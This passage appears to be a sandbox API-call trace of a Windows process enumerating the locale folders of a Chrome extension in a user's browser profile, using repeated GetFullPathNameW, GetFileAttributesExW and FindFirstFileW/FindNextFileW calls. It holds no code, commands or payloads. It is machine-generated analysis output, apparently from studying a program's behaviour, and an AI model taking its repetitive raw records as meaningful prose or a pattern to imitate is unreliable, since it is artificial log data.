fInfoLevelId=0x0, lpFileInformation=0x6cfe6c8 | out: lpFileInformation=0x6cfe6c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1af3b0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee1b1ac0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee1b1ac0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0097.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.587] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af", nBufferLength=0x105, lpBuffer=0x6cfe1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af", lpFilePart=0x0) returned 0x7d [0097.587] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*", lpFindFileData=0x6cfe400 | out: lpFindFileData=0x6cfe400) returned 0x6fe97d8 [0097.588] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.588] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.588] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.588] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af", nBufferLength=0x105, lpBuffer=0x6cfe1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af", lpFilePart=0x0) returned 0x7d [0097.588] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\af\\*", lpFindFileData=0x6cfe400 | out: lpFindFileData=0x6cfe400) returned 0x6fe97d8 [0097.588] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.588] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.588] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.588] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am", nBufferLength=0x105, lpBuffer=0x6cfe208, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am", lpFilePart=0x0) returned 0x7d [0097.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.589] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am"), fInfoLevelId=0x0, lpFileInformation=0x6cfe6c8 | out: lpFileInformation=0x6cfe6c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1b68e0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee1b8ff0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee1b8ff0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0097.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.589] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am", nBufferLength=0x105, lpBuffer=0x6cfe1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am", lpFilePart=0x0) returned 0x7d [0097.589] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*", lpFindFileData=0x6cfe400 | out: lpFindFileData=0x6cfe400) returned 0x6fe97d8 [0097.589] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.589] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.589] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.589] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am", nBufferLength=0x105, lpBuffer=0x6cfe1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am", lpFilePart=0x0) returned 0x7d [0097.589] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*", lpFindFileData=0x6cfe400 | out: lpFindFileData=0x6cfe400) returned 0x6fe97d8 [0097.589] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.589] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.589] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.590] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x6cfe208, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar", lpFilePart=0x0) returned 0x7d [0097.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.590] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar"), fInfoLevelId=0x0, lpFileInformation=0x6cfe6c8 | out: lpFileInformation=0x6cfe6c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1c0520, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee1c0520, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee1c0520, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0097.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.590] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x6cfe1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar", lpFilePart=0x0) returned 0x7d [0097.590] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*", lpFindFileData=0x6cfe400 | out: lpFindFileData=0x6cfe400) returned 0x6fe97d8 [0097.590] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.590] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.590] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.590] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x6cfe1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar", lpFilePart=0x0) returned 0x7d [0097.590] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*", lpFindFileData=0x6cfe400 | out: lpFindFileData=0x6cfe400) returned 0x6fe97d8 [0097.591] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.591] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.591] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.591] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az", nBufferLength=0x105, lpBuffer=0x6cfe208, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az", lpFilePart=0x0) returned 0x7d [0097.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.591] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az"), fInfoLevelId=0x0, lpFileInformation=0x6cfe6c8 | out: lpFileInformation=0x6cfe6c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1c5340, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee1c7a50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee1c7a50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0097.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.591] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az", nBufferLength=0x105, lpBuffer=0x6cfe1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az", lpFilePart=0x0) returned 0x7d [0097.591] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*", lpFindFileData=0x6cfe400 | out: lpFindFileData=0x6cfe400) returned 0x6fe97d8 [0097.591] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.591] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.591] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.591] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az", nBufferLength=0x105, lpBuffer=0x6cfe1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az", lpFilePart=0x0) returned 0x7d [0097.592] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*", lpFindFileData=0x6cfe400 | out: lpFindFileData=0x6cfe400) returned 0x6fe97d8 [0097.592] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.592] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.592] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.592] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x6cfe208, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg", lpFilePart=0x0) returned 0x7d [0097.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.592] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg"), fInfoLevelId=0x0, lpFileInformation=0x6cfe6c8 | out: lpFileInformation=0x6cfe6c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1cc870, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee1cef80, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee1cef80, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0097.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.592] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x6cfe1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg", lpFilePart=0x0) returned 0x7d [0097.592] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*", lpFindFileData=0x6cfe400 | out: lpFindFileData=0x6cfe400) returned 0x6fe97d8 [0097.592] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.592] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.592] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.593] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x6cfe1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg", lpFilePart=0x0) returned 0x7d [0097.593] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*", lpFindFileData=0x6cfe400 | out: lpFindFileData=0x6cfe400) returned 0x6fe97d8 [0097.593] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.593] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.593] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.593] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn", nBufferLength=0x105, lpBuffer=0x6cfe208, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn", lpFilePart=0x0) returned 0x7d [0097.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.593] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn"), fInfoLevelId=0x0, lpFileInformation=0x6cfe6c8 | out: lpFileInformation=0x6cfe6c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1d3da0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee1d64b0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee1d64b0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0097.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe648) returned 1 [0097.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.593] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn", nBufferLength=0x105, lpBuffer=0x6cfe1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn", lpFilePart=0x0) returned 0x7d [0097.593] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\*", lpFindFileData=0x6cfe400 | out: lpFindFileData=0x6cfe400) returned 0x6fe97d8 [0097.593] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.594] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.594] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe6d8) returned 1 [0097.594] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn", nBufferLength=0x105, lpBuffer=0x6cfe1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn", lpFilePart=0x0) returned 0x7d [0097.594] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\*", lpFindFileData=0x6cfe400 | out: lpFindFileData=0x6cfe400) returned 0x6fe97d8 [0097.594] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.594] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 1 [0097.594] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe410 | out: lpFindFileData=0x6cfe410) returned 0 [0097.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe698) returned 1 [0097.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe6a4) returned 1 [0097.594] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca", nBufferLength=0x105, lpBuffer=0x6cfe208, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca", lpFilePart=0x0) returned 0x7d [0097.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe64c) returned 1 [0097.594] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca"), fInfoLevelId=0x0, lpFileInformation=0x6cfe6c8 | out: lpFileInformation=0x6cfe6c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1db2d0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee1dd9e0, 